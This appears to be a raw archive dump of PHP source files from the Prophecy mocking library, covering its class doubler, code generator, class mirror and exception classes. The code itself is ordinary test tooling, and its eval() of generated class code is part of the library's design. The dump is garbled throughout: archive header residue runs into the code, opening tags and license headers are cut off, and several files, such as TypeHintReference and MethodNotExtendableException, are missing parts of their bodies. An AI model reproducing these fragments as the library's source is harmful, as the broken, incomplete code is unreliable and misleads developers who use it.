ArgumentTypeNode('null', ...$nonNullTypes) : new ArgumentTypeNode(...$nonNullTypes); } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Doubler/Generator/Node/ReturnTypeNode.php000064400000002155147577714370026676 0ustar00types['void']) && count($this->types) !== 1) { throw new DoubleException('void cannot be part of a union'); } if (isset($this->types['never']) && count($this->types) !== 1) { throw new DoubleException('never cannot be part of a union'); } parent::guardIsValidType(); } /** * @deprecated use hasReturnStatement */ public function isVoid() { return $this->types == ['void' => 'void']; } public function hasReturnStatement(): bool { return $this->types !== ['void' => 'void'] && $this->types !== ['never' => 'never']; } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Doubler/Generator/Node/ArgumentTypeNode.php000064400000000231147577714370027172 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Doubler\Generator; use Prophecy\Doubler\Generator\Node\ArgumentTypeNode; use Prophecy\Doubler\Generator\Node\ReturnTypeNode; use Prophecy\Exception\InvalidArgumentException; use Prophecy\Exception\Doubler\ClassMirrorException; use ReflectionClass; use ReflectionIntersectionType; use ReflectionMethod; use ReflectionNamedType; use ReflectionParameter; use ReflectionType; use ReflectionUnionType; /** * Class mirror. * Core doubler class. Mirrors specific class and/or interfaces into class node tree. * * @author Konstantin Kudryashov */ class ClassMirror { private static $reflectableMethods = array( '__construct', '__destruct', '__sleep', '__wakeup', '__toString', '__call', '__invoke' ); /** * Reflects provided arguments into class node. * * @param ReflectionClass|null $class * @param ReflectionClass[] $interfaces * * @return Node\ClassNode * */ public function reflect(?ReflectionClass $class, array $interfaces) { $node = new Node\ClassNode; if (null !== $class) { if (true === $class->isInterface()) { throw new InvalidArgumentException(sprintf( "Could not reflect %s as a class, because it\n". "is interface - use the second argument instead.", $class->getName() )); } $this->reflectClassToNode($class, $node); } foreach ($interfaces as $interface) { if (!$interface instanceof ReflectionClass) { throw new InvalidArgumentException(sprintf( "[ReflectionClass \$interface1 [, ReflectionClass \$interface2]] array expected as\n". "a second argument to `ClassMirror::reflect(...)`, but got %s.", is_object($interface) ? get_class($interface).' class' : gettype($interface) )); } if (false === $interface->isInterface()) { throw new InvalidArgumentException(sprintf( "Could not reflect %s as an interface, because it\n". "is class - use the first argument instead.", $interface->getName() )); } $this->reflectInterfaceToNode($interface, $node); } $node->addInterface('Prophecy\Doubler\Generator\ReflectionInterface'); return $node; } private function reflectClassToNode(ReflectionClass $class, Node\ClassNode $node) { if (true === $class->isFinal()) { throw new ClassMirrorException(sprintf( 'Could not reflect class %s as it is marked final.', $class->getName() ), $class); } $node->setParentClass($class->getName()); foreach ($class->getMethods(ReflectionMethod::IS_ABSTRACT) as $method) { if (false === $method->isProtected()) { continue; } $this->reflectMethodToNode($method, $node); } foreach ($class->getMethods(ReflectionMethod::IS_PUBLIC) as $method) { if (0 === strpos($method->getName(), '_') && !in_array($method->getName(), self::$reflectableMethods)) { continue; } if (true === $method->isFinal()) { $node->addUnextendableMethod($method->getName()); continue; } $this->reflectMethodToNode($method, $node); } } private function reflectInterfaceToNode(ReflectionClass $interface, Node\ClassNode $node) { $node->addInterface($interface->getName()); foreach ($interface->getMethods() as $method) { $this->reflectMethodToNode($method, $node); } } private function reflectMethodToNode(ReflectionMethod $method, Node\ClassNode $classNode) { $node = new Node\MethodNode($method->getName()); if (true === $method->isProtected()) { $node->setVisibility('protected'); } if (true === $method->isStatic()) { $node->setStatic(); } if (true === $method->returnsReference()) { $node->setReturnsReference(); } if ($method->hasReturnType()) { $returnTypes = $this->getTypeHints($method->getReturnType(), $method->getDeclaringClass(), $method->getReturnType()->allowsNull()); $node->setReturnTypeNode(new ReturnTypeNode(...$returnTypes)); } elseif (method_exists($method, 'hasTentativeReturnType') && $method->hasTentativeReturnType()) { $returnTypes = $this->getTypeHints($method->getTentativeReturnType(), $method->getDeclaringClass(), $method->getTentativeReturnType()->allowsNull()); $node->setReturnTypeNode(new ReturnTypeNode(...$returnTypes)); } if (is_array($params = $method->getParameters()) && count($params)) { foreach ($params as $param) { $this->reflectArgumentToNode($param, $node); } } $classNode->addMethod($node); } private function reflectArgumentToNode(ReflectionParameter $parameter, Node\MethodNode $methodNode) { $name = $parameter->getName() == '...' ? '__dot_dot_dot__' : $parameter->getName(); $node = new Node\ArgumentNode($name); $typeHints = $this->getTypeHints($parameter->getType(), $parameter->getDeclaringClass(), $parameter->allowsNull()); $node->setTypeNode(new ArgumentTypeNode(...$typeHints)); if ($parameter->isVariadic()) { $node->setAsVariadic(); } if ($this->hasDefaultValue($parameter)) { $node->setDefault($this->getDefaultValue($parameter)); } if ($parameter->isPassedByReference()) { $node->setAsPassedByReference(); } $methodNode->addArgument($node); } private function hasDefaultValue(ReflectionParameter $parameter) { if ($parameter->isVariadic()) { return false; } if ($parameter->isDefaultValueAvailable()) { return true; } return $parameter->isOptional() || ($parameter->allowsNull() && $parameter->getType() && \PHP_VERSION_ID < 80100); } private function getDefaultValue(ReflectionParameter $parameter) { if (!$parameter->isDefaultValueAvailable()) { return null; } return $parameter->getDefaultValue(); } private function getTypeHints(?ReflectionType $type, ?ReflectionClass $class, bool $allowsNull) : array { $types = []; if ($type instanceof ReflectionNamedType) { $types = [$type->getName()]; } elseif ($type instanceof ReflectionUnionType) { $types = $type->getTypes(); } elseif ($type instanceof ReflectionIntersectionType) { throw new ClassMirrorException('Doubling intersection types is not supported', $class); } elseif(is_object($type)) { throw new ClassMirrorException('Unknown reflection type ' . get_class($type), $class); } $types = array_map( function(string $type) use ($class) { if ($type === 'self') { return $class->getName(); } if ($type === 'parent') { return $class->getParentClass()->getName(); } return $type; }, $types ); if ($types && $types != ['mixed'] && $allowsNull) { $types[] = 'null'; } return $types; } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Doubler/Generator/ReflectionInterface.php000064400000000762147577714370026777 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Doubler\Generator; /** * Reflection interface. * All reflected classes implement this interface. * * @author Konstantin Kudryashov */ interface ReflectionInterface { } res/readability/vendor/phpspec/prophecy/src/Prophecy/Doubler/Generator/ClassCodeGenerator.php000064400000006331147577714370026571 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Doubler\Generator; use Prophecy\Doubler\Generator\Node\ReturnTypeNode; use Prophecy\Doubler\Generator\Node\TypeNodeAbstract; /** * Class code creator. * Generates PHP code for specific class node tree. * * @author Konstantin Kudryashov */ class ClassCodeGenerator { public function __construct(TypeHintReference $typeHintReference = null) { } /** * Generates PHP code for class node. * * @param string $classname * @param Node\ClassNode $class * * @return string */ public function generate($classname, Node\ClassNode $class) { $parts = explode('\\', $classname); $classname = array_pop($parts); $namespace = implode('\\', $parts); $code = sprintf("class %s extends \%s implements %s {\n", $classname, $class->getParentClass(), implode(', ', array_map(function ($interface) {return '\\'.$interface;}, $class->getInterfaces()) ) ); foreach ($class->getProperties() as $name => $visibility) { $code .= sprintf("%s \$%s;\n", $visibility, $name); } $code .= "\n"; foreach ($class->getMethods() as $method) { $code .= $this->generateMethod($method)."\n"; } $code .= "\n}"; return sprintf("namespace %s {\n%s\n}", $namespace, $code); } private function generateMethod(Node\MethodNode $method) { $php = sprintf("%s %s function %s%s(%s)%s {\n", $method->getVisibility(), $method->isStatic() ? 'static' : '', $method->returnsReference() ? '&':'', $method->getName(), implode(', ', $this->generateArguments($method->getArguments())), ($ret = $this->generateTypes($method->getReturnTypeNode())) ? ': '.$ret : '' ); $php .= $method->getCode()."\n"; return $php.'}'; } private function generateTypes(TypeNodeAbstract $typeNode): string { if (!$typeNode->getTypes()) { return ''; } // When we require PHP 8 we can stop generating ?foo nullables and remove this first block if ($typeNode->canUseNullShorthand()) { return sprintf( '?%s', $typeNode->getNonNullTypes()[0]); } else { return join('|', $typeNode->getTypes()); } } private function generateArguments(array $arguments) { return array_map(function (Node\ArgumentNode $argument){ $php = $this->generateTypes($argument->getTypeNode()); $php .= ' '.($argument->isPassedByReference() ? '&' : ''); $php .= $argument->isVariadic() ? '...' : ''; $php .= '$'.$argument->getName(); if ($argument->isOptional() && !$argument->isVariadic()) { $php .= ' = '.var_export($argument->getDefault(), true); } return $php; }, $arguments); } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Doubler/Generator/TypeHintReference.php000064400000001626147577714370026447 0ustar00= 80000; default: return false; } } public function isBuiltInReturnTypeHint($type) { if ($type === 'void') { return true; } return $this->isBuiltInParamTypeHint($type); } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Doubler/Generator/ClassCreator.php000064400000003324147577714370025446 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Doubler\Generator; use Prophecy\Exception\Doubler\ClassCreatorException; /** * Class creator. * Creates specific class in current environment. * * @author Konstantin Kudryashov */ class ClassCreator { private $generator; /** * Initializes creator. * * @param ClassCodeGenerator $generator */ public function __construct(ClassCodeGenerator $generator = null) { $this->generator = $generator ?: new ClassCodeGenerator; } /** * Creates class. * * @param string $classname * @param Node\ClassNode $class * * @return mixed * * @throws \Prophecy\Exception\Doubler\ClassCreatorException */ public function create($classname, Node\ClassNode $class) { $code = $this->generator->generate($classname, $class); $return = eval($code); if (!class_exists($classname, false)) { if (count($class->getInterfaces())) { throw new ClassCreatorException(sprintf( 'Could not double `%s` and implement interfaces: [%s].', $class->getParentClass(), implode(', ', $class->getInterfaces()) ), $class); } throw new ClassCreatorException( sprintf('Could not double `%s`.', $class->getParentClass()), $class ); } return $return; } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Doubler/NameGenerator.php000064400000002212147577714370023655 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Doubler; use ReflectionClass; /** * Name generator. * Generates classname for double. * * @author Konstantin Kudryashov */ class NameGenerator { private static $counter = 1; /** * Generates name. * * @param ReflectionClass $class * @param ReflectionClass[] $interfaces * * @return string */ public function name(ReflectionClass $class = null, array $interfaces) { $parts = array(); if (null !== $class) { $parts[] = $class->getName(); } else { foreach ($interfaces as $interface) { $parts[] = $interface->getShortName(); } } if (!count($parts)) { $parts[] = 'stdClass'; } return sprintf('Double\%s\P%d', implode('\\', $parts), self::$counter++); } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Doubler/Doubler.php000064400000010217147577714370022526 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Doubler; use Doctrine\Instantiator\Instantiator; use Prophecy\Doubler\ClassPatch\ClassPatchInterface; use Prophecy\Doubler\Generator\ClassMirror; use Prophecy\Doubler\Generator\ClassCreator; use Prophecy\Exception\InvalidArgumentException; use ReflectionClass; /** * Cached class doubler. * Prevents mirroring/creation of the same structure twice. * * @author Konstantin Kudryashov */ class Doubler { private $mirror; private $creator; private $namer; /** * @var ClassPatchInterface[] */ private $patches = array(); /** * @var \Doctrine\Instantiator\Instantiator */ private $instantiator; /** * Initializes doubler. * * @param ClassMirror $mirror * @param ClassCreator $creator * @param NameGenerator $namer */ public function __construct(ClassMirror $mirror = null, ClassCreator $creator = null, NameGenerator $namer = null) { $this->mirror = $mirror ?: new ClassMirror; $this->creator = $creator ?: new ClassCreator; $this->namer = $namer ?: new NameGenerator; } /** * Returns list of registered class patches. * * @return ClassPatchInterface[] */ public function getClassPatches() { return $this->patches; } /** * Registers new class patch. * * @param ClassPatchInterface $patch */ public function registerClassPatch(ClassPatchInterface $patch) { $this->patches[] = $patch; @usort($this->patches, function (ClassPatchInterface $patch1, ClassPatchInterface $patch2) { return $patch2->getPriority() - $patch1->getPriority(); }); } /** * Creates double from specific class or/and list of interfaces. * * @param ReflectionClass $class * @param ReflectionClass[] $interfaces Array of ReflectionClass instances * @param array $args Constructor arguments * * @return DoubleInterface * * @throws \Prophecy\Exception\InvalidArgumentException */ public function double(ReflectionClass $class = null, array $interfaces, array $args = null) { foreach ($interfaces as $interface) { if (!$interface instanceof ReflectionClass) { throw new InvalidArgumentException(sprintf( "[ReflectionClass \$interface1 [, ReflectionClass \$interface2]] array expected as\n". "a second argument to `Doubler::double(...)`, but got %s.", is_object($interface) ? get_class($interface).' class' : gettype($interface) )); } } $classname = $this->createDoubleClass($class, $interfaces); $reflection = new ReflectionClass($classname); if (null !== $args) { return $reflection->newInstanceArgs($args); } if ((null === $constructor = $reflection->getConstructor()) || ($constructor->isPublic() && !$constructor->isFinal())) { return $reflection->newInstance(); } if (!$this->instantiator) { $this->instantiator = new Instantiator(); } return $this->instantiator->instantiate($classname); } /** * Creates double class and returns its FQN. * * @param ReflectionClass $class * @param ReflectionClass[] $interfaces * * @return string */ protected function createDoubleClass(ReflectionClass $class = null, array $interfaces) { $name = $this->namer->name($class, $interfaces); $node = $this->mirror->reflect($class, $interfaces); foreach ($this->patches as $patch) { if ($patch->supports($node)) { $patch->apply($node); } } $this->creator->create($name, $node); return $name; } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Doubler/CachedDoubler.php000064400000003164147577714370023621 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Doubler; use ReflectionClass; /** * Cached class doubler. * Prevents mirroring/creation of the same structure twice. * * @author Konstantin Kudryashov */ class CachedDoubler extends Doubler { private static $classes = array(); /** * {@inheritdoc} */ protected function createDoubleClass(ReflectionClass $class = null, array $interfaces) { $classId = $this->generateClassId($class, $interfaces); if (isset(self::$classes[$classId])) { return self::$classes[$classId]; } return self::$classes[$classId] = parent::createDoubleClass($class, $interfaces); } /** * @param ReflectionClass $class * @param ReflectionClass[] $interfaces * * @return string */ private function generateClassId(ReflectionClass $class = null, array $interfaces) { $parts = array(); if (null !== $class) { $parts[] = $class->getName(); } foreach ($interfaces as $interface) { $parts[] = $interface->getName(); } foreach ($this->getClassPatches() as $patch) { $parts[] = get_class($patch); } sort($parts); return md5(implode('', $parts)); } public function resetCache() { self::$classes = array(); } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Doubler/LazyDouble.php000064400000006506147577714370023212 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Doubler; use Prophecy\Exception\Doubler\DoubleException; use Prophecy\Exception\Doubler\ClassNotFoundException; use Prophecy\Exception\Doubler\InterfaceNotFoundException; use ReflectionClass; /** * Lazy double. * Gives simple interface to describe double before creating it. * * @author Konstantin Kudryashov */ class LazyDouble { private $doubler; private $class; private $interfaces = array(); private $arguments = null; private $double; /** * Initializes lazy double. * * @param Doubler $doubler */ public function __construct(Doubler $doubler) { $this->doubler = $doubler; } /** * Tells doubler to use specific class as parent one for double. * * @param string|ReflectionClass $class * * @throws \Prophecy\Exception\Doubler\ClassNotFoundException * @throws \Prophecy\Exception\Doubler\DoubleException */ public function setParentClass($class) { if (null !== $this->double) { throw new DoubleException('Can not extend class with already instantiated double.'); } if (!$class instanceof ReflectionClass) { if (!class_exists($class)) { throw new ClassNotFoundException(sprintf('Class %s not found.', $class), $class); } $class = new ReflectionClass($class); } $this->class = $class; } /** * Tells doubler to implement specific interface with double. * * @param string|ReflectionClass $interface * * @throws \Prophecy\Exception\Doubler\InterfaceNotFoundException * @throws \Prophecy\Exception\Doubler\DoubleException */ public function addInterface($interface) { if (null !== $this->double) { throw new DoubleException( 'Can not implement interface with already instantiated double.' ); } if (!$interface instanceof ReflectionClass) { if (!interface_exists($interface)) { throw new InterfaceNotFoundException( sprintf('Interface %s not found.', $interface), $interface ); } $interface = new ReflectionClass($interface); } $this->interfaces[] = $interface; } /** * Sets constructor arguments. * * @param array $arguments */ public function setArguments(array $arguments = null) { $this->arguments = $arguments; } /** * Creates double instance or returns already created one. * * @return DoubleInterface */ public function getInstance() { if (null === $this->double) { if (null !== $this->arguments) { return $this->double = $this->doubler->double( $this->class, $this->interfaces, $this->arguments ); } $this->double = $this->doubler->double($this->class, $this->interfaces); } return $this->double; } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Doubler/DoubleInterface.php000064400000000742147577714370024167 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Doubler; /** * Core double interface. * All doubled classes will implement this one. * * @author Konstantin Kudryashov */ interface DoubleInterface { } res/readability/vendor/phpspec/prophecy/src/Prophecy/Exception/Call/UnexpectedCallException.php000064400000001726147577714370027133 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Exception\Call; use Prophecy\Exception\Prophecy\ObjectProphecyException; use Prophecy\Prophecy\ObjectProphecy; class UnexpectedCallException extends ObjectProphecyException { private $methodName; private $arguments; public function __construct($message, ObjectProphecy $objectProphecy, $methodName, array $arguments) { parent::__construct($message, $objectProphecy); $this->methodName = $methodName; $this->arguments = $arguments; } public function getMethodName() { return $this->methodName; } public function getArguments() { return $this->arguments; } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Exception/Doubler/MethodNotFoundException.php000064400000002344147577714370027646 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Exception\Doubler; class MethodNotFoundException extends DoubleException { /** * @var string|object */ private $classname; /** * @var string */ private $methodName; /** * @var array */ private $arguments; /** * @param string $message * @param string|object $classname * @param string $methodName * @param null|Argument\ArgumentsWildcard|array $arguments */ public function __construct($message, $classname, $methodName, $arguments = null) { parent::__construct($message); $this->classname = $classname; $this->methodName = $methodName; $this->arguments = $arguments; } public function getClassname() { return $this->classname; } public function getMethodName() { return $this->methodName; } public function getArguments() { return $this->arguments; } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Exception/Doubler/ClassMirrorException.php000064400000001252147577714370027206 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Exception\Doubler; use ReflectionClass; class ClassMirrorException extends \RuntimeException implements DoublerException { private $class; public function __construct($message, ReflectionClass $class) { parent::__construct($message); $this->class = $class; } public function getReflectedClass() { return $this->class; } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Exception/Doubler/ClassCreatorException.php000064400000001265147577714370027337 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Exception\Doubler; use Prophecy\Doubler\Generator\Node\ClassNode; class ClassCreatorException extends \RuntimeException implements DoublerException { private $node; public function __construct($message, ClassNode $node) { parent::__construct($message); $this->node = $node; } public function getClassNode() { return $this->node; } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Exception/Doubler/ClassNotFoundException.php000064400000001305147577714370027467 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Exception\Doubler; class ClassNotFoundException extends DoubleException { private $classname; /** * @param string $message * @param string $classname */ public function __construct($message, $classname) { parent::__construct($message); $this->classname = $classname; } public function getClassname() { return $this->classname; } } readability/vendor/phpspec/prophecy/src/Prophecy/Exception/Doubler/InterfaceNotFoundException.php000064400000000740147577714370030245 0ustar00res * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Exception\Doubler; class InterfaceNotFoundException extends ClassNotFoundException { public function getInterfaceName() { return $this->getClassname(); } } readability/vendor/phpspec/prophecy/src/Prophecy/Exception/Doubler/MethodNotExtendableException.php000064400000001504147577714370030564 0ustar00resmethodName = $methodName; $this->className = $className; } /** * @return string */ public function getMethodName() { return $this->methodName; } /** * @return string */ public function getClassName() { return $this->className; } } readability/vendor/phpspec/prophecy/src/Prophecy/Exception/Doubler/ReturnByReferenceException.php000064400000001615147577714370030263 0ustar00res * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Exception\Doubler; class ReturnByReferenceException extends DoubleException { private $classname; private $methodName; /** * @param string $message * @param string $classname * @param string $methodName */ public function __construct($message, $classname, $methodName) { parent::__construct($message); $this->classname = $classname; $this->methodName = $methodName; } public function getClassname() { return $this->classname; } public function getMethodName() { return $this->methodName; } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Exception/Doubler/DoubleException.php000064400000000651147577714370026162 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Exception\Doubler; use RuntimeException; class DoubleException extends RuntimeException implements DoublerException { } res/readability/vendor/phpspec/prophecy/src/Prophecy/Exception/Doubler/DoublerException.php000064400000000627147577714370026347 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Exception\Doubler; use Prophecy\Exception\Exception; interface DoublerException extends Exception { } res/readability/vendor/phpspec/prophecy/src/Prophecy/Exception/Prediction/AggregateException.php000064400000002400147577714370027334 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Exception\Prediction; use Prophecy\Prophecy\ObjectProphecy; class AggregateException extends \RuntimeException implements PredictionException { private $exceptions = array(); private $objectProphecy; public function append(PredictionException $exception) { $message = $exception->getMessage(); $message = strtr($message, array("\n" => "\n "))."\n"; $message = empty($this->exceptions) ? $message : "\n" . $message; $this->message = rtrim($this->message.$message); $this->exceptions[] = $exception; } /** * @return PredictionException[] */ public function getExceptions() { return $this->exceptions; } public function setObjectProphecy(ObjectProphecy $objectProphecy) { $this->objectProphecy = $objectProphecy; } /** * @return ObjectProphecy */ public function getObjectProphecy() { return $this->objectProphecy; } } readability/vendor/phpspec/prophecy/src/Prophecy/Exception/Prediction/FailedPredictionException.php000064400000001112147577714370030573 0ustar00res * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Exception\Prediction; use RuntimeException; /** * Basic failed prediction exception. * Use it for custom prediction failures. * * @author Konstantin Kudryashov */ class FailedPredictionException extends RuntimeException implements PredictionException { } readability/vendor/phpspec/prophecy/src/Prophecy/Exception/Prediction/UnexpectedCallsException.php000064400000001454147577714370030462 0ustar00res * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Exception\Prediction; use Prophecy\Prophecy\MethodProphecy; use Prophecy\Exception\Prophecy\MethodProphecyException; class UnexpectedCallsException extends MethodProphecyException implements PredictionException { private $calls = array(); public function __construct($message, MethodProphecy $methodProphecy, array $calls) { parent::__construct($message, $methodProphecy); $this->calls = $calls; } public function getCalls() { return $this->calls; } } vendor/phpspec/prophecy/src/Prophecy/Exception/Prediction/UnexpectedCallsCountException.php000064400000001410147577714370031463 0ustar00res/readability * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Exception\Prediction; use Prophecy\Prophecy\MethodProphecy; class UnexpectedCallsCountException extends UnexpectedCallsException { private $expectedCount; public function __construct($message, MethodProphecy $methodProphecy, $count, array $calls) { parent::__construct($message, $methodProphecy, $calls); $this->expectedCount = intval($count); } public function getExpectedCount() { return $this->expectedCount; } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Exception/Prediction/PredictionException.php000064400000000635147577714370027556 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Exception\Prediction; use Prophecy\Exception\Exception; interface PredictionException extends Exception { } res/readability/vendor/phpspec/prophecy/src/Prophecy/Exception/Prediction/NoCallsException.php000064400000000732147577714370027007 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Exception\Prediction; use Prophecy\Exception\Prophecy\MethodProphecyException; class NoCallsException extends MethodProphecyException implements PredictionException { } res/readability/vendor/phpspec/prophecy/src/Prophecy/Exception/Prophecy/ProphecyException.php000064400000000631147577714370026734 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Exception\Prophecy; use Prophecy\Exception\Exception; interface ProphecyException extends Exception { } res/readability/vendor/phpspec/prophecy/src/Prophecy/Exception/Prophecy/ObjectProphecyException.php000064400000001432147577714370030063 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Exception\Prophecy; use Prophecy\Prophecy\ObjectProphecy; class ObjectProphecyException extends \RuntimeException implements ProphecyException { private $objectProphecy; public function __construct($message, ObjectProphecy $objectProphecy) { parent::__construct($message); $this->objectProphecy = $objectProphecy; } /** * @return ObjectProphecy */ public function getObjectProphecy() { return $this->objectProphecy; } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Exception/Prophecy/MethodProphecyException.php000064400000001451147577714370030076 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Exception\Prophecy; use Prophecy\Prophecy\MethodProphecy; class MethodProphecyException extends ObjectProphecyException { private $methodProphecy; public function __construct($message, MethodProphecy $methodProphecy) { parent::__construct($message, $methodProphecy->getObjectProphecy()); $this->methodProphecy = $methodProphecy; } /** * @return MethodProphecy */ public function getMethodProphecy() { return $this->methodProphecy; } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Exception/InvalidArgumentException.php000064400000000625147577714370026446 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Exception; class InvalidArgumentException extends \InvalidArgumentException implements Exception { } res/readability/vendor/phpspec/prophecy/src/Prophecy/Exception/Exception.php000064400000000766147577714370023442 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Exception; /** * Core Prophecy exception interface. * All Prophecy exceptions implement it. * * @author Konstantin Kudryashov */ interface Exception extends \Throwable { } res/readability/vendor/phpspec/prophecy/src/Prophecy/PhpDocumentor/ClassAndInterfaceTagRetriever.php000064400000003570147577714370030166 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\PhpDocumentor; use phpDocumentor\Reflection\DocBlock\Tag\MethodTag as LegacyMethodTag; use phpDocumentor\Reflection\DocBlock\Tags\Method; /** * @author Théo FIDRY * * @internal */ final class ClassAndInterfaceTagRetriever implements MethodTagRetrieverInterface { private $classRetriever; public function __construct(MethodTagRetrieverInterface $classRetriever = null) { if (null !== $classRetriever) { $this->classRetriever = $classRetriever; return; } $this->classRetriever = class_exists('phpDocumentor\Reflection\DocBlockFactory') && class_exists('phpDocumentor\Reflection\Types\ContextFactory') ? new ClassTagRetriever() : new LegacyClassTagRetriever() ; } /** * @param \ReflectionClass $reflectionClass * * @return LegacyMethodTag[]|Method[] */ public function getTagList(\ReflectionClass $reflectionClass) { return array_merge( $this->classRetriever->getTagList($reflectionClass), $this->getInterfacesTagList($reflectionClass) ); } /** * @param \ReflectionClass $reflectionClass * * @return LegacyMethodTag[]|Method[] */ private function getInterfacesTagList(\ReflectionClass $reflectionClass) { $interfaces = $reflectionClass->getInterfaces(); $tagList = array(); foreach($interfaces as $interface) { $tagList = array_merge($tagList, $this->classRetriever->getTagList($interface)); } return $tagList; } } res/readability/vendor/phpspec/prophecy/src/Prophecy/PhpDocumentor/LegacyClassTagRetriever.php000064400000001557147577714370027052 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\PhpDocumentor; use phpDocumentor\Reflection\DocBlock; use phpDocumentor\Reflection\DocBlock\Tag\MethodTag as LegacyMethodTag; /** * @author Théo FIDRY * * @internal */ final class LegacyClassTagRetriever implements MethodTagRetrieverInterface { /** * @param \ReflectionClass $reflectionClass * * @return LegacyMethodTag[] */ public function getTagList(\ReflectionClass $reflectionClass) { $phpdoc = new DocBlock($reflectionClass->getDocComment()); return $phpdoc->getTagsByName('method'); } } res/readability/vendor/phpspec/prophecy/src/Prophecy/PhpDocumentor/MethodTagRetrieverInterface.php000064400000001337147577714370027715 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\PhpDocumentor; use phpDocumentor\Reflection\DocBlock\Tag\MethodTag as LegacyMethodTag; use phpDocumentor\Reflection\DocBlock\Tags\Method; /** * @author Théo FIDRY * * @internal */ interface MethodTagRetrieverInterface { /** * @param \ReflectionClass $reflectionClass * * @return LegacyMethodTag[]|Method[] */ public function getTagList(\ReflectionClass $reflectionClass); } res/readability/vendor/phpspec/prophecy/src/Prophecy/PhpDocumentor/ClassTagRetriever.php000064400000003004147577714370025712 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\PhpDocumentor; use phpDocumentor\Reflection\DocBlock\Tags\Method; use phpDocumentor\Reflection\DocBlockFactory; use phpDocumentor\Reflection\Types\ContextFactory; /** * @author Théo FIDRY * * @internal */ final class ClassTagRetriever implements MethodTagRetrieverInterface { private $docBlockFactory; private $contextFactory; public function __construct() { $this->docBlockFactory = DocBlockFactory::createInstance(); $this->contextFactory = new ContextFactory(); } /** * @param \ReflectionClass $reflectionClass * * @return Method[] */ public function getTagList(\ReflectionClass $reflectionClass) { try { $phpdoc = $this->docBlockFactory->create( $reflectionClass, $this->contextFactory->createFromReflector($reflectionClass) ); $methods = array(); foreach ($phpdoc->getTagsByName('method') as $tag) { if ($tag instanceof Method) { $methods[] = $tag; } } return $methods; } catch (\InvalidArgumentException $e) { return array(); } } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Prediction/CallPrediction.php000064400000004521147577714370024533 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this 